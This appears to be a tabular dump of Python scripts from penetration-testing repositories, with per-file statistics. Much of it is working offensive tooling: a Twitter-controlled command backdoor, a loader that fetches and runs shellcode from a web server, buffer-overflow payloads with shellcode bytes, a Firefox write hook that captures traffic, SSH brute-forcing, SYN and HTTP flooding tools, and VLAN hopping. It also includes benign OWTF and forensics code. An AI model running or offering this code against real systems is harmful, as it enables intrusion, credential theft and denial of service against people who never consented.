repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
cybersecurity-penetration-testing |
'''
Copyright (c) 2016 Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribute, ... | 25.318841 | 103 | 0.657426 |
Python-Penetration-Testing-for-Developers | import urllib
url1 = raw_input("Enter the URL ")
http_r = urllib.urlopen(url1)
if http_r.code == 200:
print http_r.headers | 23.8 | 34 | 0.715447 |
owtf | """
PASSIVE Plugin for Old, Backup and Unreferenced Files (OWASP-CM-006)
https://www.owasp.org/index.php/Testing_for_Old,_Backup_and_Unreferenced_Files_(OWASP-CM-006)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Google Hacking for juicy files"
def r... | 33.214286 | 93 | 0.782427 |
owtf | """
owtf.managers.worklist
~~~~~~~~~~~~~~~~~~~~~~
The DB stores worklist
"""
import logging
from sqlalchemy.sql import not_
from owtf.db.session import get_count
from owtf.lib import exceptions
from owtf.managers.plugin import get_all_plugin_dicts
from owtf.managers.poutput import delete_all_poutput, plugin_already_r... | 30.869136 | 92 | 0.575081 |
PenTesting | #this is an example only, the method to generating a salted rainbow table may vary
#depending on the salting method in use.
import md5
def hash(word):
word = 'salt_string_123%s' %word
return md5.hash(word)
| 26 | 82 | 0.730233 |
Python-Penetration-Testing-Cookbook | import socket, re
from scapy.all import *
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
#Get the Local IP
end = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.[\d]{1,3}', ip)
print (end)
create_ip = re.search('^[\d]{1,3}.[\d]{1,3}.[\d]{1,3}.', ip)
def is_up(ip)... | 23.058824 | 63 | 0.542228 |
cybersecurity-penetration-testing | # Affine Cipher
# http://inventwithpython.com/hacking (BSD Licensed)
import sys, pyperclip, cryptomath, random
SYMBOLS = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~""" # note the space at the front
def main():
myMessage = """"A computer would deserve... | 36.036585 | 149 | 0.617589 |
owtf | """
owtf.proxy.cache_handler
~~~~~~~~~~~~~~~~~~~~~~~~
Inbound Proxy Module developed by Bharadwaj Machiraju (blog.tunnelshade.in) as a part of Google Summer of Code 2013
"""
import base64
import datetime
import hashlib
import json
import logging
import os
import re
import traceback
import tornado.httputil
from owtf.... | 34.137339 | 115 | 0.598827 |
cybersecurity-penetration-testing | #bruteforce file names
import sys
import urllib
import urllib2
if len(sys.argv) !=4:
print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
sys.exit(0)
base_url = str(sys.argv[1])
wordlist= str(sys.argv[2])
extension=str(sys.argv[3])
filelist = open(wordlist,'r')
foundfiles = []
for fi... | 21.852941 | 67 | 0.662371 |
PenetrationTestingScripts | """HTTP Authentication and Proxy support.
Copyright 2006 John J. Lee <jjl@pobox.com>
This code is free software; you can redistribute it and/or modify it under
the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt
included with the distribution).
"""
from _urllib2_fork import HTTPPasswordMgr
# TODO:... | 36.347826 | 76 | 0.602484 |
cybersecurity-penetration-testing | import mechanize
from itertools import combinations
from string import ascii_lowercase
url = "http://www.webscantest.com/login.php"
browser = mechanize.Browser()
attackNumber = 1
# Possible password list
passwords = (p for p in combinations(ascii_lowercase,8))
for p in passwords:
browser.open(url)
browser.se... | 24.709677 | 67 | 0.665829 |
cybersecurity-penetration-testing | from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11")
sy1 = TCP(sport =1024, dport=137, flags="A", seq=12345)
packet = ip1/sy1
p =sr1(packet)
p.show()
| 23.571429 | 55 | 0.649123 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download winappdbg http://winappdbg.sourceforge.net/
# Firefox-Hooking
from winappdbg import Debug, EventHandler, System, Process
import sys
def PR_Write( event, ra ,arg1 ,arg2, arg3): # this is the call back function
print process.read( arg2,1024 ) # read 1 KB of th... | 32.06 | 129 | 0.659201 |
cybersecurity-penetration-testing | import rabinkarp as rk
file_obj = open('sample_file.txt', 'rb') # replace with a file you want to hash
chunk_size = 32
hash_list = set()
full_file = bytearray(file_obj.read())
h = rk.hash(full_file[0:chunk_size], 7)
hash_list.add(h)
old_byte = h[0]
for new_byte in full_file[chunk_size:]:
h = rk.update(h, 7, old_by... | 26.842105 | 80 | 0.674242 |
cybersecurity-penetration-testing | import requests
req = requests.get('http://google.com')
headers = ['Server', 'Date', 'Via', 'X-Powered-By']
for header in headers:
try:
result = req.headers[header]
print '%s: %s' % (header, result)
except Exception, error:
pass | 23.181818 | 52 | 0.592453 |
Python-Penetration-Testing-for-Developers | import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
'''section 1'''
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
dic = collections.OrderedD... | 22.086957 | 60 | 0.675879 |
Mastering-Machine-Learning-for-Penetration-Testing | from sklearn import tree
from sklearn.metrics import accuracy_score
import numpy as np
training_data = np.genfromtxt('dataset.csv', delimiter=',', dtype=np.int32)
inputs = training_data[:,:-1]
outputs = training_data[:, -1]
training_inputs = inputs[:2000]
training_outputs = outputs[:2000]
testing_inputs = inputs[... | 30.095238 | 81 | 0.757669 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# This script is performing DTP Trunk mode detection and VLAN Hopping
# attack automatically, running sniffer afterwards to collect any other
# VLAN available.
#
# This script works best in Unix/Linux environment as the script utilizes
# following applications:
# - 8021q.ko
# - vconfig
# - ... | 31.799312 | 563 | 0.581119 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
if pkt.haslayer(DNSRR):
rrname = pkt.getlayer(DNSRR).rrname
rdata = pkt.getlayer(DNSRR).rdata
if dnsRecords.has_key(rrname):
if rdata not in dnsRecords[rrname]:
... | 21.903226 | 62 | 0.550071 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# This tool connects to the given Exchange's hostname/IP address and then
# by collects various internal information being leaked while interacting
# with different Exchange protocols. Exchange may give away following helpful
# during OSINT or breach planning stages insights:
# - Interna... | 44.080088 | 139 | 0.542272 |
cybersecurity-penetration-testing | from scapy.all import *
def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
return nPkt
def dupDot11(pkt):
dPkt=pkt.getlayer(Dot11)
subtype... | 20.809524 | 127 | 0.729789 |
cybersecurity-penetration-testing | __author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts reads a Windows 7 Setup API log and prints USB Devices to the user'
def main():
"""
Run the program
:return: None
"""
# Insert your own path to your sample setupapi.dev.log here.
... | 23.125 | 99 | 0.607407 |
thieves-tools | import click
import subprocess
@click.command()
@click.argument("query", nargs=-1)
def question(query):
question = "/".join(query)
subprocess.call(f"cht.sh {question}", shell=True,)
| 19.888889 | 52 | 0.71123 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalWebServices")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.545455 | 75 | 0.779553 |
owtf | from __future__ import absolute_import, unicode_literals
import re
from typing import Any, NamedTuple
from owtf.utils.logger import OWTFLogger
__version__ = "2.6.0"
__homepage__ = "https://github.com/owtf/owtf"
__docformat__ = "markdown"
version_info_t = NamedTuple(
"version_info_t", [
("major", int),
... | 21.7 | 84 | 0.613235 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
import socket
host = "127.0.0.1"
crash = "\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
s.send(buffer)
data=s.recv(1024)
print data
s.close()
print "[*]Payload sent !"... | 16.888889 | 53 | 0.657321 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalClickjacking")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.636364 | 75 | 0.780255 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
###################################################
#
# RemoteRecon - written by Justin Ohneiser
# ------------------------------------------------
# Inspired by reconscan.py by Mike Czumak
#
# This program will conduct full reconnaissance
# on a target using three steps:
# 1. Light NMAP scan -> ... | 37.663265 | 513 | 0.577537 |
diff-droid | from os import listdir
from os.path import isfile, join
def pretty_print(list_of_files):
print "Attack Modules !"
for x in range(len(list_of_files)):
print "\t"+"("+str(x)+") "+list_of_files[x]
read_input(list_of_files)
def print_list():
mypath = "attackers"
onlyfiles = [f for f in listdi... | 29.45 | 71 | 0.633224 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="""Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8... | 125.074074 | 2,915 | 0.937114 |
owtf | """
ACTIVE Plugin for Testing for SSL-TLS (OWASP-CM-001)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Active probing for SSL configuration"
def run(PluginInfo):
resource = get_resources("ActiveSSLCmds")
Content = plugin_helper.CommandDump(
... | 25.625 | 58 | 0.722353 |
Effective-Python-Penetration-Testing | # -*- coding: utf-8 -*-
from scrapy.spiders import Spider
from scrapy.selector import Selector
from pprint import pprint
from testSpider.items import TestspiderItem
class PactpubSpider(Spider):
name = "pactpub"
allowed_domains = ["pactpub.com"]
start_urls = (
'https://www.pactpub.com/all',
)
... | 24.625 | 89 | 0.636808 |
cybersecurity-penetration-testing | import requests
import sys
url = sys.argv[1]
payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
headers ={}
r = requests.head(url)
for payload in payloads:
for header in r.headers:
headers[header] = payload
req = requests.post(url, headers=headers)
| 27.636364 | 108 | 0.697452 |
Effective-Python-Penetration-Testing | # This package will contain the spiders of your Scrapy project
#
# Please refer to the documentation for information on how to create and manage
# your spiders.
| 31.4 | 79 | 0.78882 |
cybersecurity-penetration-testing | import socket
host = "192.168.0.1"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
buf = bytearray("-" * 30) # buffer created
print "Number of Bytes ",s.recv_into(buf)
print buf
s.close | 24.555556 | 53 | 0.703057 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import json
import urllib
from anonBrowser import *
def google(search_term):
ab = anonBrowser()
search_term = urllib.quote_plus(search_term)
response = ab.open('http://ajax.googleapis.com/'+\
'ajax/services/search/web?v=1.0&q='+ search_term)
objects = j... | 17.428571 | 55 | 0.663212 |
Penetration_Testing | #!/usr/bin/python
import re
import pyperclip
print("[!] Before running the script, make sure to edit the top-level domain.")
print("[*] The current default is: .mil")
file_name = raw_input("\nEnter the filename you would like the output to save as: ")
web_regex = re.compile(r'''(
[a-zA-Z0-9.-]+ #... | 20.925 | 84 | 0.646119 |
cybersecurity-penetration-testing | from helper import usb_lookup
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.03
__description__ = 'This scripts reads a Windows 7 Setup API log and prints USB Devices to the user'
def main(in_file):
"""
Main function to handle operation
:param in_file: Str - Path to se... | 33.433628 | 118 | 0.605656 |
Python-Penetration-Testing-for-Developers | import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target... | 29.541667 | 81 | 0.689891 |
PenetrationTestingScripts | """Load / save to libwww-perl (LWP) format files.
Actually, the format is slightly extended from that used by LWP's
(libwww-perl's) HTTP::Cookies, to avoid losing some RFC 2965 information
not recorded by LWP.
It uses the version string "2.0", though really there isn't an LWP Cookies
2.0 format. This indicates that ... | 37.430108 | 79 | 0.527074 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
###################################################
#
# SQLDeli - written by Justin Ohneiser
# ------------------------------------------------
# This program will parse the XML file used to
# power the sqlmap application built into Kali
# Linux and present the contents in an
# interactive menu.
#
... | 26.726619 | 110 | 0.49416 |
cybersecurity-penetration-testing | #!/us/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: tcp_exploit.py
Purpose: An sample exploit for testing TCP services
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following co... | 44.488372 | 89 | 0.774936 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-11 00:11
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0012_auto_20160109_0540'),
]
operations = [
migrations.AlterField(... | 20.428571 | 50 | 0.592428 |
cybersecurity-penetration-testing | #!/usr/bin/python
msg = raw_input('Please enter the string to encode: ')
print "Your B64 encoded string is: " + msg.encode('base64') | 26 | 59 | 0.69403 |
Python-Penetration-Testing-for-Developers | from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
while 1:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')
key =... | 22.32 | 69 | 0.682131 |
Hands-On-Penetration-Testing-with-Python | #unset QT_QPA_PLATFORM
#sudo echo "export QT_QPA_PLATFORM=offscreen" >> /etc/environment
from bs4 import BeautifulSoup
import requests
import multiprocessing as mp
from selenium import webdriver
import time
import datetime
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import ex... | 33.408333 | 94 | 0.639293 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalWebServices")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.545455 | 75 | 0.779553 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
packets = []
def changePacketParameters(packet):
packet[Ether].dst = '00:11:22:dd:bb:aa'
packet[Ether].src = '00:11:22:dd:bb:aa'
def writeToPcapFile(pkt):
wrpcap('filteredPackets.pcap', pkt, append=True)
for packet in sniff(offline='sample.pcap', prn=changePacketParameters):
... | 23.095238 | 71 | 0.69703 |
Hands-On-Penetration-Testing-with-Python | import socket
# nasm > add eax,12
# 00000000 83C00C add eax,byte +0xc
# nasm > jmp eax
# 00000000 FFE0 jmp eax
shellcode = (
"\xdd\xc3\xba\x88\xba\x1e\x34\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x14\x31\x57\x19\x03\x57\x19\x83\xc7\x04\x6a\x4f\x2f" +
"\xef\x9d\x53\x03\x4... | 31.833333 | 83 | 0.605419 |
Python-Penetration-Testing-for-Developers | import socket
from datetime import datetime
net= raw_input("Enter the IP address ")
net1= net.split('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(raw_input("Enter the Starting Number "))
en1 = int(raw_input("Enter the Last Number "))
en1=en1+1
t1= datetime.now()
def scan(addr):
sock= socket.socket(socke... | 21.517241 | 55 | 0.673313 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.6
import threading
import time
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(threadName)-10s) %(message)s',
)
class Multi_Threads():
def __init__(self):
pass
def execute(self):
t = threading.currentThread()
logging.debug("Enter : "... | 20.814815 | 62 | 0.611725 |
cybersecurity-penetration-testing | from scapy.all import *
def dupRadio(pkt):
rPkt=pkt.getlayer(RadioTap)
version=rPkt.version
pad=rPkt.pad
present=rPkt.present
notdecoded=rPkt.notdecoded
nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)
return nPkt
def dupDot11(pkt):
dPkt=pkt.getlayer(Dot11)
subtype... | 20.809524 | 127 | 0.729789 |
cybersecurity-penetration-testing | #!/usr/bin/python
import hashlib
target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")
def main():
with open(dictionary) as fileobj:
for line in fileobj:
line = line.strip()
if hashlib.md5(line).hexdigest() ==... | 26.578947 | 90 | 0.592734 |
cybersecurity-penetration-testing | import urllib2
import ctypes
import base64
# retrieve the shellcode from our web server
url = "http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)
# decode the shellcode from base64
shellcode = base64.b64decode(response.read())
# create a buffer in memory
shellcode_buffer = ctypes.create_string_buf... | 26.368421 | 83 | 0.780347 |
owtf | """
PASSIVE Plugin for Search engine discovery/reconnaissance (OWASP-IG-002)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "General Google Hacking/Email harvesting, etc"
ATTR = {"INTERNET_RESOURCES": True}
def run(PluginInfo):
resource = get_resou... | 32.736842 | 83 | 0.751563 |
PenetrationTestingScripts | __author__ = 'wilson'
| 10.5 | 21 | 0.545455 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-08 05:53
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0006_auto_20160108_0128'),
]
operations = [
migrations.AddField(
... | 21.818182 | 63 | 0.590818 |
Python-Penetration-Testing-for-Developers | import sys
if len(sys.argv) !=3:
print "usage: %s name.txt email suffix" % (sys.argv[0])
sys.exit(0)
for line in open(sys.argv[1]):
name = ''.join([c for c in line if c == " " or c.isalpha()])
tokens = name.lower().split()
fname = tokens[0]
lname = tokens[-1]
print fname +lname+sys.argv[2]
print lname+fname+sy... | 29.047619 | 61 | 0.660317 |
cybersecurity-penetration-testing | import socket
import struct
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.0.1"
port =12347
s.connect((host,port))
msg= s.recv(1024)
print msg
print struct.unpack('hhl',msg)
s.close() | 19.8 | 53 | 0.729469 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES Stream
import o... | 26.290323 | 111 | 0.744379 |
Python-Penetration-Testing-Cookbook | import socket,sys,os
os.system('clear')
host = 'rejahrehim.com'
ip = socket.gethostbyname(host)
open_ports =[]
start_port = 79
end_port = 82
def probe_port(host, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((host, port))
if r == ... | 16.825 | 58 | 0.662921 |
cybersecurity-penetration-testing | from scapy.all import *
src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")
srcport = int(raw_input("Enter the Source Port "))
i=1
while True:
IP1 = IP(src=src, dst=target)
TCP1 = TCP(sport=srcport, dport=80)
pkt = IP1 / TCP1
send(pkt,inter= .001)
print "packet sent ", i
i=i+1
| 21.714286 | 50 | 0.66877 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import subprocess as sp
import time
def fuzz():
i=1
while 1:
fuzz_str='a'*i
p=sp.Popen("echo "+fuzz_str+" | ./buff",stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.PIPE,shell=True)
out=p.communicate()[0]
output=out.split("\n")
if "What" in output[0]:
print(output[0]+"\n"+output[1]+"\n")
pr... | 21.347826 | 97 | 0.62963 |
cybersecurity-penetration-testing | import Queue
import threading
import screenshot
import requests
portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643,9001,4489]
IP = '127.0.0.1'
http = 'http://'
https = 'https://'
def testAndSave(protocol, portNumber):
url = protocol + IP + ':' + str(portNumber)
try:
r = reques... | 20.684211 | 84 | 0.596598 |
Effective-Python-Penetration-Testing | headers = {
'User-Agent' : 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'
}
request = urllib2.Request("http://packtpub.com/", headers=headers)
url = urllib2.urlopen(request)
response = u.read()
| 31.714286 | 94 | 0.697368 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your opti... | 28.769231 | 103 | 0.676836 |
cybersecurity-penetration-testing | import sys
import time
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
class Screenshot(QWebView):
def __init__(self):
self.app = QApplication(sys.argv)
QWebView.__init__(self)
self._loaded = False
self.loadFinished.connect(self._loadFini... | 25.974359 | 73 | 0.58706 |
Tricks-Web-Penetration-Tester | #!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def register(payload):
proxies = {'http':'http://127.0.0.1:8080'}
params = {"name":payload,"email":"okay@gmail.com","password":"okay"}
url = "http:/... | 26.65 | 94 | 0.655797 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import obexftp
try:
btPrinter = obexftp.client(obexftp.BLUETOOTH)
btPrinter.connect('00:16:38:DE:AD:11', 2)
btPrinter.put_file('/tmp/ninja.jpg')
print '[+] Printed Ninja Image.'
except:
print '[-] Failed to print Ninja Image.'
| 19.928571 | 49 | 0.643836 |
PenetrationTestingScripts | #coding=utf-8
__author__ = 'wilson'
from IPy import IP
from comm.printers import printPink,printRed,printGreen
class config(object):
def getips(self,ip):
iplist=[]
try:
if "-" in ip.split(".")[3]:
startnum=int(ip.split(".")[3].split("-")[0])
endnum=int(ip.split(".")[3].split("-")[1])
for i in ran... | 20.533333 | 110 | 0.588843 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: April 2015
Name: httplib2_brute.py
Purpose: Prototype code that allows you to build a multiple request response train with the httplib2 library
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with o... | 51.177215 | 151 | 0.704441 |
Python-for-Offensive-PenTest | from distutils.core import setup
import py2exe , sys, os
sys.argv.append("py2exe")
setup(
options = {'py2exe': {'bundle_files': 1}},
windows = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}],
zipfile = None,
)
| 16.428571 | 73 | 0.617284 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import pygeoip
gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')
def printRecord(tgt):
rec = gi.record_by_name(tgt)
city = rec['city']
region = rec['region_name']
country = rec['country_name']
long = rec['longitude']
lat = rec['latitude']
print '[*] Target:... | 22.545455 | 63 | 0.578337 |
owtf | """
tests.functional.cli.test_scope
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliTestCase
class OWTFCliScopeTest(OWTFCliTestCase):
categories = ["cli"]
def test_cli_target_is_valid_ip(self):
"""Run OWTF with a valid IP target (regression #375)."""
self.run_owtf("-s"... | 35.724638 | 96 | 0.528913 |
cybersecurity-penetration-testing | '''
Copyright (c) 2016 Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publish, distribu... | 28.141026 | 103 | 0.702905 |
Hands-On-Penetration-Testing-with-Python | a=44
b=33
if a > b:
print("a is greater")
print("End")
| 8.5 | 22 | 0.589286 |
Ethical-Hacking-Scripts | from optparse import OptionParser
class PayloadInjector:
def logo(self=None):
return """
_________ .__ .___.___ __ __ ____ _______
/ _____/ ________ __|__| __| _/| | ____ |__| ____ _____/ |_ ___ _/_ | \ _ \
\_____ \ / ... | 44.62963 | 110 | 0.453512 |
Ethical-Hacking-Scripts | import urllib.request, random, sys, threading, re, time
from optparse import OptionParser
class DDoS:
def __init__(self, ip, delay, proxies=False):
self.ip = ip
self.delay = delay
self.proxies = proxies
self.stopatk = False
self.useragents = self.obtain_user_agents()
... | 105.888403 | 748 | 0.577731 |
owtf | """
owtf.managers.session
~~~~~~~~~~~~~~~~~~~~~
Manager functions for sessions
"""
from owtf.db.session import get_scoped_session
from owtf.lib import exceptions
from owtf.models.session import Session
from owtf.models.target import Target
from owtf.utils.strings import str2bool
def session_required(func):
"""
... | 30.045198 | 111 | 0.645613 |
Python-Penetration-Testing-Cookbook | import urllib.request
import urllib.parse
import re
from os.path import basename
url = 'https://www.packtpub.com/'
response = urllib.request.urlopen(url)
source = response.read()
file = open("packtpub.txt", "wb")
file.write(source)
file.close()
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line... | 24.678571 | 64 | 0.58078 |
PenetrationTestingScripts | #coding=utf-8
__author__ = 'wilson'
from IPy import IP
from comm.printers import printPink,printRed,printGreen
class config(object):
def getips(self,ip):
iplist=[]
try:
if "-" in ip.split(".")[3]:
startnum=int(ip.split(".")[3].split("-")[0])
endnum=int(ip.split(".")[3].split("-")[1])
for i in ran... | 20.533333 | 110 | 0.588843 |
cybersecurity-penetration-testing | import mechanize
br = mechanize.Browser()
br.set_handle_robots( False )
url = raw_input("Enter URL ")
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(url)
#res = response.code
for form in br.forms():
print form
br.select_f... | 18.75 | 29 | 0.713198 |
PenetrationTestingScripts | #!/usr/bin/python
#Cronjob script that executes Nmap scans on the background
import sqlite3
import os
import subprocess
import smtplib
import datetime
import uuid
import lxml.etree as ET
import distutils.spawn
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
BASE_URL = "http://127.0.0... | 34.632075 | 188 | 0.628972 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Simple UDP scanner determining whether scanned host replies with
# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port.
#
# Based on "Black Hat Python" book by Justin Seitz.
#
# Mariusz Banach
#
import os
import sys
import time
import ctypes
import struct
import sock... | 35.257463 | 115 | 0.552285 |
cybersecurity-penetration-testing | import ctypes
import random
import time
import sys
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
keystrokes = 0
mouse_clicks = 0
double_clicks = 0
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
... | 25.965217 | 120 | 0.573226 |
Effective-Python-Penetration-Testing | #!/usr/bin/python
import paramiko, sys, os, socket, threading, time
import itertools,string,crypt
PASS_SIZE = 5
def bruteforce_list(charset, maxlength):
return (''.join(candidate)
for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i)
for i in range(1, maxlength + 1))... | 24.62069 | 91 | 0.618182 |
cybersecurity-penetration-testing | import re
import random
import urllib
url1 = raw_input("Enter the URL ")
u = chr(random.randint(97,122))
url2 = url1+u
http_r = urllib.urlopen(url2)
content= http_r.read()
flag =0
i=0
list1 = []
a_tag = "<*address>"
file_text = open("result.txt",'a')
while flag ==0:
if http_r.code == 404:
file_text.write("------... | 15.918367 | 46 | 0.603865 |
cybersecurity-penetration-testing | import argparse
import json
import urllib2
import unix_converter as unix
import sys
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20150920'
__version__ = 0.01
__description__ = 'This scripts downloads address transactions using blockchain.info public APIs'
def main(address):
"""
The main function ... | 32.355769 | 115 | 0.628316 |
Penetration_Testing | '''
<Cryptan Cryptography Program>
Currently has the following capabilities:
* Format conversion: Hex, Ascii, Decimal, Octal, Binary
* XOR Encryption/Decryption
* Caesar Cipher Encryption/Decryption
* Caesar Cipher Brute-force Decryption
* Single Byte XOR Decryption
* Single Character XOR Detec... | 27.994751 | 101 | 0.56319 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
LPORT1433 = ""
LPORT1433 += "\x9b\x98\x40\x48\x4b\x98\xd6\x41\x41\x42\xda\xd8"
